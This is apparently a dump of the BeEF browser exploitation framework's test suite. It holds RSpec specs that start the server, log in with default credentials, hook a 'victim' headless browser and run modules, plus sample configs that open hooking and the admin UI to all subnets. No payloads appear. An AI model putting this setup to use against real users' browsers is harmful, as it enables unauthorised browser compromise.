only next if not module_value['enable'] # skip disabled modules module_name = module_value['name'] module_category = module_value['category'] # can be an array or a string module_description_sub = module_value['description'][0, 15] # descriptions including html cause errors expect(module_category).not_to be_nil expect(module_name).not_to be_nil expect(@beef_session).to have_content(module_category, wait: PAGE_LOAD_TIMEOUT) if module_category.is_a?(String) expect(module_name).to be_a(String) expect(module_description_sub).not_to be_nil expect(module_description_sub).to be_a(String) # print the category and module name if module_category.is_a?(Array) category_tree_text = module_category.join(' > ') else category_tree_text = module_category end print_info "Category: #{category_tree_text}, Module: #{module_name}" # click on the module then expect the description and execute button to be visible click_on_module(@beef_session, module_category, module_name) # expect the module description and the execute button to be visible expect(@beef_session).to have_content(module_description_sub, wait: PAGE_LOAD_TIMEOUT) expect(@beef_session).to have_content('Execute', wait: PAGE_LOAD_TIMEOUT) # tidy up and collapse the category tree collapse_category_tree(@beef_session, module_category) end end end end ================================================ FILE: spec/features/debug_modules_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'rspec' require 'rest-client' require 'spec/support/constants.rb' require 'spec/support/ui_support.rb' RSpec.describe 'Debug Modules Integration', run_on_long_tests: true do before(:each) do @pid, @beef_session, @hooked_browser = start_beef_and_hook_browser end after(:each) do stop_beef_and_unhook_browser(@pid, @beef_session, @hooked_browser) end it 'Test beef.debug module' do click_on_module(@beef_session, 'Debug', 'Test beef.debug') expect(@beef_session).to have_content('Execute', wait: PAGE_LOAD_TIMEOUT) expect(@beef_session).to have_content('244', wait: PAGE_LOAD_TIMEOUT) # Module ID expect(@beef_session).to have_content('Debug Message:', wait: PAGE_LOAD_TIMEOUT) end it "Load all debug modules" do Dir.glob("modules/debug/**/config.yaml").each do |file| module_yaml_data = YAML.load_file(file) module_yaml_data['beef']['module'].each do |module_key, module_value| module_category = module_value['category'] module_name = module_value['name'] # some descriptions are too long and include html tags module_description_sub = module_value['description'][0, 20] expect(@beef_session).to have_content(module_category, wait: PAGE_LOAD_TIMEOUT) expect(module_category).not_to be_nil expect(module_category).to be_a(String) expect(module_name).not_to be_nil expect(module_name).to be_a(String) expect(module_description_sub).not_to be_nil expect(module_description_sub).to be_a(String) click_on_module(@beef_session, 'Debug', module_name) expect(@beef_session).to have_content(module_description_sub, wait: PAGE_LOAD_TIMEOUT) expect(@beef_session).to have_content('Execute', wait: PAGE_LOAD_TIMEOUT) # execute the module @beef_session.click_on('Execute') # expect the module to make command output visible expect(@beef_session).to have_content('command 1', wait: PAGE_LOAD_TIMEOUT) # click on the command section to display the output @beef_session.all('div.x-grid3-cell-inner').each do |div| if div.text == 'command 1' div.click break end end if module_name == 'Return Image' # this module returns an image not a string image_selector = "img[src^='data:image/png;base64,iVBORw0KGgo']" expect(@beef_session).to have_css(image_selector, wait: PAGE_LOAD_TIMEOUT) else expect(@beef_session).to have_content('data: ', wait: PAGE_LOAD_TIMEOUT) end end end end end ================================================ FILE: spec/requests/beef_test_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'spec_helper' require 'capybara/rspec' require_relative '../support/beef_test' RSpec.describe BeefTest, run_on_long_tests: true do before(:each) do @pid = start_beef_server_and_wait end after(:each) do stop_beef_server(@pid) end describe '.login' do it 'logs in successfully' do expect(port_available?) # Check if the tcp port is open session = BeefTest.login() expect(session).not_to be_nil expect(session.has_content?('Hooked Browsers', wait: 10)) end end describe '.logout' do before(:each) do expect(port_available?) # # Check if the tcp port is open @session = BeefTest.login() # Ensure login before each '.logout' test expect(@session.has_content?('Hooked Browsers', wait: 10)) end it 'logs out successfully' do expect(port_available?) # # Check if the tcp port is open expect(@session.has_content?('Hooked Browsers', wait: 10)) # Log out of the session @sessoin = BeefTest.logout(@session) expect(@session.has_no_content?('Hooked Browsers', wait: 10)) expect(@session.has_content?('Authentication', wait: 10)) @session.reset_session! end end describe '.save_screenshot' do it 'saves a screenshot' do session = Capybara::Session.new(:selenium_headless) if session.nil? # Ensure the new directory does not exist outputDir = '/tmp' directory = "#{outputDir}/#{SecureRandom.hex}/" expect(File.directory?(directory)).to be false # Save the screenshot BeefTest.save_screenshot(session, directory) # Ensure the screenshot was saved expect(File.directory?(directory)).to be true screenshot_files = Dir.glob("#{directory}/*.png") expect(screenshot_files.empty?).to be false # Ensure the screenshot file is not empty and clean up screenshot_files.each do |file| expect(File.size(file)).to be > 0 File.delete(file) end expect(Dir.glob("#{directory}/*.png").empty?).to be true # Remove the directory Dir.delete(directory) expect(File.directory?(directory)).to be false end end let(:session) { Capybara::Session.new(:selenium_headless) } let(:victim) { Capybara::Session.new(:selenium_headless) } describe '.new_attacker' do it 'creates a new attacker session' do # # Test setup expect(session).not_to be_nil result = BeefTest.new_attacker(session) # Test assertions expect(result).to eq(session) expect(session.has_no_content?('Authentication', wait: 10)) expect(session.has_content?('Hooked Browsers', wait: 10)) session.reset_session! end end describe '.new_victim' do it 'creates a new victim session' do # Test setup allow(victim).to receive(:visit) expect(victim).not_to be_nil # Test execution result = BeefTest.new_victim(victim) # Test assertions expect(victim).to have_received(:visit).with(VICTIM_URL) expect(result).to eq(victim) victim.reset_session! end end end ================================================ FILE: spec/requests/login_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'rspec' require 'spec/support/constants.rb' RSpec.describe 'Beef Login', run_on_long_tests: true do let(:session) { Capybara::Session.new(:selenium_headless) } before(:each) do @pid = start_beef_server end after(:each) do stop_beef_server(@pid) # BeefTest.save_screenshot(session) session.driver.browser.close end it 'logs in successfully' do session.visit(ATTACK_URL) expect(session.has_content?('Authentication', wait: 10)) expect(session.has_no_content?('Hooked Browsers', wait: 10)) if session.has_field?('user', visible: true) session.fill_in 'user', with: BEEF_USER end if session.has_field?('pass', visible: true) session.fill_in 'pass', with: BEEF_PASSWD end if session.has_button?('Login', visible: true) session.click_button('Login') end expect(session.has_no_content?('Authentication', wait: 10)) expect(session.has_content?('Hooked Browsers', wait: 10)) end it 'logs out successfully' do session = BeefTest.login() expect(session).not_to be_nil expect(session.has_content?('Hooked Browsers', wait: 10)) expect(session.has_content?('Logout', wait: 10)) session.click_link('Logout') expect(session.has_no_content?('Hooked Browsers', wait: 10)) expect(session.has_content?('Logout', wait: 10)) expect(session.has_content?('BeEF Authentication', wait: 10)) end it 'displays logs tab' do session = BeefTest.login() expect(session.has_content?('Hooked Browsers', wait: 10)) expect(session.has_content?('Logout', wait: 10)) expect(session.has_content?('Logs', wait: 10)) session.click_on('Logs') expect(session).to have_content('Logout', wait: 10) expect(session).to have_content('Hooked Browsers', wait: 10) expect(session).to have_content('Type', wait: 10) expect(session).to have_content('Event', wait: 10) expect(session).to have_content('Date', wait: 10) expect(session).to have_content('Page', wait: 10) expect(session).to have_content('User with ip 127.0.0.1 has successfully authenticated in the application', wait: 10) end it 'hooks a browser successfully' do attacker = BeefTest.new_attacker victim = BeefTest.new_victim expect(attacker).to have_content('Logout', wait: 10) expect(attacker).to have_content(VICTIM_DOMAIN, wait: 10) attacker.click_on("127.0.0.1", match: :first) expect(attacker).to have_content('Details') expect(attacker).to have_content('Commands') BeefTest.logout(attacker) attacker.driver.browser.close victim.driver.browser.close end end ================================================ FILE: spec/spec_helper.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # Coverage must start before loading application code. require 'simplecov' SimpleCov.start do add_filter '/spec/' add_group 'Core', 'core' add_group 'Extensions', 'extensions' add_group 'Modules', 'modules' track_files '{core,extensions,modules}/**/*.rb' end # Set external and internal character encodings to UTF-8 Encoding.default_external = Encoding::UTF_8 Encoding.default_internal = Encoding::UTF_8 require 'core/loader.rb' # @note We need to load variables that 'beef' usually does for us # @todo review this config (this isn't used or is shadowed by the monkey patching, needs a further look to fix properly) config = BeEF::Core::Configuration.new('config.yaml') $home_dir = Dir.pwd $root_dir = Dir.pwd require 'core/bootstrap.rb' require 'rack/test' require 'curb' require 'rest-client' require 'yaml' require 'selenium-webdriver' require 'browserstack/local' require 'byebug' MUTEX ||= Mutex.new # Require supports Dir['spec/support/*.rb'].each do |f| require f end ENV['RACK_ENV'] ||= 'test' # Set the environment to test ARGV.clear ## BrowserStack config # Monkey patch to avoid reset sessions class Capybara::Selenium::Driver < Capybara::Driver::Base def reset! @browser.navigate.to('about:blank') if @browser end end TASK_ID = (ENV['TASK_ID'] || 0).to_i CONFIG_FILE = ENV['CONFIG_FILE'] || 'windows/win10/win10_chrome_81.config.yml' CONFIG = YAML.safe_load(File.read("./spec/support/browserstack/#{CONFIG_FILE}")) CONFIG['user'] = ENV['BROWSERSTACK_USERNAME'] || '' CONFIG['key'] = ENV['BROWSERSTACK_ACCESS_KEY'] || '' ## DB config ActiveRecord::Base.logger = nil OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: ':memory:') # otr-activerecord requires manually establishing the connection with the following line # Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') OTR::ActiveRecord.establish_connection! end ActiveRecord::Schema.verbose = false # Migrate (if required) ActiveRecord::Migration.verbose = false # silence activerecord migration stdout messages ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) if context.needs_migration? ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate end # ------------------------------------------------------------------- # Console logger shims # Some extensions may call Console.level= or BeEF::Core::Console.level= # Ensure both are safe. # ------------------------------------------------------------------- module BeEF module Core module Console class << self attr_accessor :logger def level=(val) (self.logger ||= Logger.new($stdout)).level = val end def level (self.logger ||= Logger.new($stdout)).level end # Proxy common logger methods if called directly (info, warn, error, etc.) def method_missing(m, *args, &blk) lg = (self.logger ||= Logger.new($stdout)) return lg.public_send(m, *args, &blk) if lg.respond_to?(m) super end def respond_to_missing?(m, include_priv = false) (self.logger ||= Logger.new($stdout)).respond_to?(m, include_priv) || super end end end end end BeEF::Core::Console.logger ||= Logger.new($stdout) # Some code may reference a top-level ::Console constant (not namespaced) unless defined?(::Console) && ::Console.respond_to?(:level=) module ::Console class << self attr_accessor :logger def level=(val) (self.logger ||= Logger.new($stdout)).level = val end def level (self.logger ||= Logger.new($stdout)).level end # Proxy to logger for typical logging calls def method_missing(m, *args, &blk) lg = (self.logger ||= Logger.new($stdout)) return lg.public_send(m, *args, &blk) if lg.respond_to?(m) super end def respond_to_missing?(m, include_priv = false) (self.logger ||= Logger.new($stdout)).respond_to?(m, include_priv) || super end end end end RSpec.configure do |config| config.disable_monkey_patching! config.bisect_runner = :shell config.order = :random Kernel.srand config.seed config.include Rack::Test::Methods config.expect_with :rspec do |c| c.syntax = :expect end config.around do |example| ActiveRecord::Base.transaction do # byebug example.run raise ActiveRecord::Rollback end end def server_teardown(webdriver, server_pid, server_pids) begin webdriver&.quit rescue => e warn "[server_teardown] webdriver quit failed: #{e.class}: #{e.message}" end begin Process.kill('KILL', server_pid) if server_pid rescue => e warn "[server_teardown] kill failed: #{e.class}: #{e.message}" end Array(server_pids).each do |pid| begin Process.kill('KILL', pid) if pid rescue # ignore end end end ######################################## def reset_beef_db begin db_file = BeEF::Core::Configuration.instance.get('beef.database.file') File.delete(db_file) if File.exist?(db_file) rescue => e print_error("Could not remove '#{db_file}' database file: #{e.message}") end end require 'socket' def port_available? socket = TCPSocket.new(@host, @port) socket.close false # If a connection is made, the port is in use, so it's not available. rescue Errno::ECONNREFUSED true # If the connection is refused, the port is not in use, so it's available. rescue Errno::EADDRNOTAVAIL true # If the connection is refused, the port is not in use, so it's available. end def configure_beef # Reset or re-initialise the configuration to a default state @config = BeEF::Core::Configuration.instance @config.set('beef.credentials.user', "beef") @config.set('beef.credentials.passwd', "beef") @config.set('beef.http.https.enable', false) end # Load the server def load_beef_extensions_and_modules # Load BeEF extensions BeEF::Extensions.load # Load BeEF modules only if they are not already loaded BeEF::Modules.load if @config.get('beef.module').nil? end # --- HARD fork-safety: disconnect every pool/adapter we can find --- def disconnect_all_active_record! # print_info "Entering disconnect_all_active_record!" if defined?(ActiveRecord::Base) # print_info "Disconnecting ActiveRecord connections" handler = ActiveRecord::Base.connection_handler if handler.respond_to?(:connection_pool_list) # print_info "Using connection_pool_list" handler.connection_pool_list.each { |pool| pool.disconnect! } elsif handler.respond_to?(:connection_pools) # print_info "Using connection_pools" handler.connection_pools.each_value { |pool| pool.disconnect! } end else print_info "ActiveRecord::Base not defined" end end def start_beef_server configure_beef @port = @config.get('beef.http.port') @host = @config.get('beef.http.host') @host = '127.0.0.1' unless port_available? raise "Port #{@port} is already in use. Cannot start BeEF server." end load_beef_extensions_and_modules # Grab DB file and regenerate if requested db_file = @config.get('beef.database.file') if BeEF::Core::Console::CommandLine.parse[:resetdb] File.delete(db_file) if File.exist?(db_file) end # ***** IMPORTANT: close any and all AR/OTR connections before forking ***** disconnect_all_active_record! # Load up DB and migrate if necessary ActiveRecord::Base.logger = nil OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database: db_file) # otr-activerecord require you to manually establish the connection with the following line #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') OTR::ActiveRecord.establish_connection! end # Migrate (if required) ActiveRecord::Migration.verbose = false # silence activerecord migration stdout messages ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) if context.needs_migration? ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate end BeEF::Core::Migration.instance.update_db! # Spawn HTTP Server # print_info "Starting HTTP Hook Server" http_hook_server = BeEF::Core::Server.instance http_hook_server.prepare # Generate a token for the server to respond with BeEF::Core::Crypto::api_token disconnect_all_active_record! # Initiate server start-up BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) pid = fork do http_hook_server.start end return pid end def beef_server_running?(uri_str) begin uri = URI.parse(uri_str) response = Net::HTTP.get_response(uri) response.is_a?(Net::HTTPSuccess) rescue Errno::ECONNREFUSED return false # Connection refused means the server is not running rescue StandardError => e return false # Any other error means the server is not running end end def wait_for_beef_server_to_start(uri_str, timeout: 5) start_time = Time.now # Record the time we started until beef_server_running?(uri_str) || (Time.now - start_time) > timeout do sleep 0.1 # Wait a bit before checking again end beef_server_running?(uri_str) # Return the result of the check end def start_beef_server_and_wait puts "Starting BeEF server" pid = start_beef_server puts "BeEF server started with PID: #{pid}" if wait_for_beef_server_to_start('http://localhost:3000', timeout: SERVER_START_TIMEOUT) # print_info "Server started successfully." else print_error "Server failed to start within timeout." end pid end def stop_beef_server(pid) return if pid.nil? Process.kill("KILL", pid) unless pid.nil? Process.wait(pid) unless pid.nil? # Ensure the process has exited and the port is released end end # ------------------------------------------------------------------- # ActiveRecord connection snapshot/restore helpers (test isolation) # Some specs disconnect ActiveRecord (fork safety), destroying the SQLite in-memory DB. # These helpers restore it for later specs. # ------------------------------------------------------------------- module SpecActiveRecordConnection module_function def snapshot # Capture the current AR connection configuration hash if possible. if ActiveRecord::Base.respond_to?(:connection_db_config) && ActiveRecord::Base.connection_db_config ActiveRecord::Base.connection_db_config.configuration_hash else ActiveRecord::Base.connection_config end rescue StandardError nil end def restore!(config_hash) # Ensure we don't leave AR disconnected for subsequent specs. begin handler = ActiveRecord::Base.connection_handler if handler.respond_to?(:connection_pool_list) handler.connection_pool_list.each { |pool| pool.disconnect! } elsif handler.respond_to?(:connection_pools) handler.connection_pools.each_value { |pool| pool.disconnect! } else ActiveRecord::Base.connection_pool.disconnect! end rescue StandardError # ignore end if config_hash OTR::ActiveRecord.configure_from_hash!(config_hash) else # Fallback to suite default OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: ':memory:') end if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') OTR::ActiveRecord.establish_connection! end ActiveRecord::Schema.verbose = false # Run migrations if the restored DB is empty/outdated ActiveRecord::Migration.verbose = false ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) if context.needs_migration? ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate end end end ================================================ FILE: spec/support/assets/config_new.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # BeEF Configuration file beef: version: '0.5.1.0' # More verbose messages (server-side) debug: false # More verbose messages (client-side) client_debug: false # Used for generating secure tokens crypto_default_value_length: 80 # Credentials to authenticate in BeEF. # Used by both the RESTful API and the Admin interface credentials: user: "beef" passwd: "beef" # Interface / IP restrictions restrictions: # subnet of IP addresses that can hook to the framework permitted_hooking_subnet: ["0.0.0.0/0", "::/0"] # subnet of IP addresses that can connect to the admin UI #permitted_ui_subnet: ["127.0.0.1/32", "::1/128"] permitted_ui_subnet: ["0.0.0.0/0", "::/0"] # subnet of IP addresses that cannot be hooked by the framework excluded_hooking_subnet: [] # slow API calls to 1 every api_attempt_delay seconds api_attempt_delay: "0.05" # HTTP server http: debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. host: "0.0.0.0" port: "3000" # Decrease this setting to 1,000 (ms) if you want more responsiveness # when sending modules and retrieving results. # NOTE: A poll timeout of less than 5,000 (ms) might impact performance # when hooking lots of browsers (50+). # Enabling WebSockets is generally better (beef.websocket.enable) xhr_poll_timeout: 1000 # Host Name / Domain Name # If you want BeEF to be accessible via hostname or domain name (ie, DynDNS), # set the public hostname below: #public: "" # public hostname/IP address # Reverse Proxy / NAT # If you want BeEF to be accessible behind a reverse proxy or NAT, # set both the publicly accessible hostname/IP address and port below: # NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed # by altering the X-FORWARDED-FOR ip address in the request header. allow_reverse_proxy: false # Public settings # These settings will be used to create a public facing URL # This public facing URL will be used for all hook related calls public: host: "example.com" port: 443 https: true # public hostname/IP address #public_port: "" # public port (experimental) # Hook hook_file: "/hook.js" hook_session_name: "BEEFHOOK" # Allow one or multiple origins to access the RESTful API using CORS # For multiple origins use: "http://browserhacker.com, http://domain2.com" restful_api: allow_cors: false cors_allowed_origins: "http://browserhacker.com" # Prefer WebSockets over XHR-polling when possible. websocket: enable: false port: 61985 # WS: good success rate through proxies # Use encrypted 'WebSocketSecure' # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF secure: true secure_port: 61986 # WSSecure ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) web_server_imitation: enable: true type: "apache" # Supported: apache, iis, nginx hook_404: false # inject BeEF hook in HTTP 404 responses hook_root: false # inject BeEF hook in the server home page # Experimental HTTPS support for the hook / admin / all other Thin managed web services https: enable: false # Enabled this config setting if you're external facing uri is using https public_enabled: false # In production environments, be sure to use a valid certificate signed for the value # used in beef.http.public (the domain name of the server where you run BeEF) key: "beef_key.pem" cert: "beef_cert.pem" database: file: "beef.db" # Autorun Rule Engine autorun: # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually # continue execution regardless of results. # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout. result_poll_interval: 300 result_poll_timeout: 5000 # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain. # This is useful to call modules (nested-forward chain mode) that are not returning their status/results. continue_after_timeout: true # Enables DNS lookups on zombie IP addresses dns_hostname_lookup: false # IP Geolocation # NOTE: requires MaxMind database. Run ./updated-geoipdb to install. geoip: enable: true database: '/opt/GeoIP/GeoLite2-City.mmdb' # You may override default extension configuration parameters here # Note: additional experimental extensions are available in the 'extensions' directory # and can be enabled via their respective 'config.yaml' file extension: admin_ui: enable: true base_path: "/ui" demos: enable: true events: enable: true evasion: enable: false requester: enable: true proxy: enable: true network: enable: true metasploit: enable: false social_engineering: enable: true xssrays: enable: true ================================================ FILE: spec/support/assets/config_old.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # BeEF Configuration file beef: version: '0.5.1.0' # More verbose messages (server-side) debug: false # More verbose messages (client-side) client_debug: false # Used for generating secure tokens crypto_default_value_length: 80 # Credentials to authenticate in BeEF. # Used by both the RESTful API and the Admin interface credentials: user: "beef" passwd: "beef" # Interface / IP restrictions restrictions: # subnet of IP addresses that can hook to the framework permitted_hooking_subnet: ["0.0.0.0/0", "::/0"] # subnet of IP addresses that can connect to the admin UI #permitted_ui_subnet: ["127.0.0.1/32", "::1/128"] permitted_ui_subnet: ["0.0.0.0/0", "::/0"] # subnet of IP addresses that cannot be hooked by the framework excluded_hooking_subnet: [] # slow API calls to 1 every api_attempt_delay seconds api_attempt_delay: "0.05" # HTTP server http: debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. host: "0.0.0.0" port: "3000" # Decrease this setting to 1,000 (ms) if you want more responsiveness # when sending modules and retrieving results. # NOTE: A poll timeout of less than 5,000 (ms) might impact performance # when hooking lots of browsers (50+). # Enabling WebSockets is generally better (beef.websocket.enable) xhr_poll_timeout: 1000 # Host Name / Domain Name # If you want BeEF to be accessible via hostname or domain name (ie, DynDNS), # set the public hostname below: #public: "" # public hostname/IP address # Reverse Proxy / NAT # If you want BeEF to be accessible behind a reverse proxy or NAT, # set both the publicly accessible hostname/IP address and port below: # NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed # by altering the X-FORWARDED-FOR ip address in the request header. allow_reverse_proxy: false #public: "example" # public hostname/IP address #public_port: "" # public port (experimental) # Hook hook_file: "/hook.js" hook_session_name: "BEEFHOOK" # Allow one or multiple origins to access the RESTful API using CORS # For multiple origins use: "http://browserhacker.com, http://domain2.com" restful_api: allow_cors: false cors_allowed_domains: "http://browserhacker.com" # Prefer WebSockets over XHR-polling when possible. websocket: enable: false port: 61985 # WS: good success rate through proxies # Use encrypted 'WebSocketSecure' # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF secure: true secure_port: 61986 # WSSecure ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) web_server_imitation: enable: true type: "apache" # Supported: apache, iis, nginx hook_404: false # inject BeEF hook in HTTP 404 responses hook_root: false # inject BeEF hook in the server home page # Experimental HTTPS support for the hook / admin / all other Thin managed web services https: enable: false # Enabled this config setting if you're external facing uri is using https public_enabled: false # In production environments, be sure to use a valid certificate signed for the value # used in beef.http.public (the domain name of the server where you run BeEF) key: "beef_key.pem" cert: "beef_cert.pem" database: file: "beef.db" # Autorun Rule Engine autorun: # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually # continue execution regardless of results. # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout. result_poll_interval: 300 result_poll_timeout: 5000 # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain. # This is useful to call modules (nested-forward chain mode) that are not returning their status/results. continue_after_timeout: true # Enables DNS lookups on zombie IP addresses dns_hostname_lookup: false # IP Geolocation # NOTE: requires MaxMind database. Run ./updated-geoipdb to install. geoip: enable: true database: '/opt/GeoIP/GeoLite2-City.mmdb' # You may override default extension configuration parameters here # Note: additional experimental extensions are available in the 'extensions' directory # and can be enabled via their respective 'config.yaml' file extension: admin_ui: enable: true base_path: "/ui" demos: enable: true events: enable: true evasion: enable: false requester: enable: true proxy: enable: true network: enable: true metasploit: enable: false social_engineering: enable: true xssrays: enable: true ================================================ FILE: spec/support/beef_test.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'selenium-webdriver' require 'spec_helper' require 'capybara' require 'capybara/rspec' Capybara.run_server = false # we need to run our own BeEF server class BeefTest def self.save_screenshot(session, dir = nil) outputDir = dir || BEEF_TEST_DIR Dir.mkdir(outputDir) unless File.directory?(outputDir) filename = outputDir + Time.now.strftime('%Y-%m-%d--%H-%M-%S-%N') + '.png' session.driver.browser.save_screenshot(filename) end def self.login(session = nil) session = Capybara::Session.new(:selenium_headless) if session.nil? session.visit(ATTACK_URL) session.has_content?('Authentication', wait: 10) # enter the credentials session.execute_script("document.getElementById('pass').value = '#{CGI.escapeHTML(BEEF_PASSWD)}'\;") session.execute_script("document.getElementById('user').value = '#{CGI.escapeHTML(BEEF_USER)}'\;") # due to using JS there seems to be a race condition - this is a workaround session.has_content?('beef', wait: PAGE_LOAD_TIMEOUT) # click the login button login_script = <<-JAVASCRIPT var loginButton; var buttons = document.getElementsByTagName('button'); for (var i = 0; i < buttons.length; i++) { if (buttons[i].textContent === 'Login') { loginButton = buttons[i]; break; } } if (loginButton) { loginButton.click(); } JAVASCRIPT session.execute_script(login_script) session.has_content?('Hooked Browsers', wait: PAGE_LOAD_TIMEOUT) session end def self.logout(session) session.click_on('Logout') session.has_content?('Authentication', wait: PAGE_LOAD_TIMEOUT) session end def self.new_attacker(session = nil) self.login(session) end def self.new_victim(victim = nil) victim = Capybara::Session.new(:selenium_headless) if victim.nil? victim.visit(VICTIM_URL) victim.has_content?('You should be hooked into BeEF.', wait: PAGE_LOAD_TIMEOUT) # self.save_screenshot(victim, "./") victim end end ================================================ FILE: spec/support/browserstack/osx/catalina/catalina_chrome_41.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX Catalina Chrome 41" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "41.0" "os": "osx" "os_version": "catalina" ================================================ FILE: spec/support/browserstack/osx/catalina/catalina_chrome_59.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX Catalina Chrome 59" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "59.0" "os": "osx" "os_version": "catalina" ================================================ FILE: spec/support/browserstack/osx/catalina/catalina_chrome_81.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX Catalina Chrome 81" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "81.0" "os": "osx" "os_version": "catalina" ================================================ FILE: spec/support/browserstack/osx/catalina/catalina_firefox_11.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX Catalina Firefox 11" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "11.0" "os": "osx" "os_version": "catalina" ================================================ FILE: spec/support/browserstack/osx/catalina/catalina_firefox_68esr.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX Catalina Firefox 68 ESR" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "68.0" "os": "osx" "os_version": "catalina" ================================================ FILE: spec/support/browserstack/osx/catalina/catalina_firefox_75.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX Catalina Firefox 75" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "75.0" "os": "osx" "os_version": "catalina" ================================================ FILE: spec/support/browserstack/osx/catalina/catalina_safari_13.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX Catalina Safari 13" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "safari" "browser_version": "13.0" "os": "osx" "os_version": "catalina" ================================================ FILE: spec/support/browserstack/osx/elcapitan/elcapitan_chrome_14.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX El Capitan Chrome 14" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "14.0" "os": "osx" "os_version": "el capitan" ================================================ FILE: spec/support/browserstack/osx/elcapitan/elcapitan_chrome_81.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX El Capitan Chrome 81" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "81.0" "os": "osx" "os_version": "el capitan" ================================================ FILE: spec/support/browserstack/osx/elcapitan/elcapitan_firefox_7.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX El Capitan Firefox 7" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "7.0" "os": "osx" "os_version": "el capitan" ================================================ FILE: spec/support/browserstack/osx/elcapitan/elcapitan_firefox_75.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX El Capitan Firefox 75" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "75.0" "os": "osx" "os_version": "el capitan" ================================================ FILE: 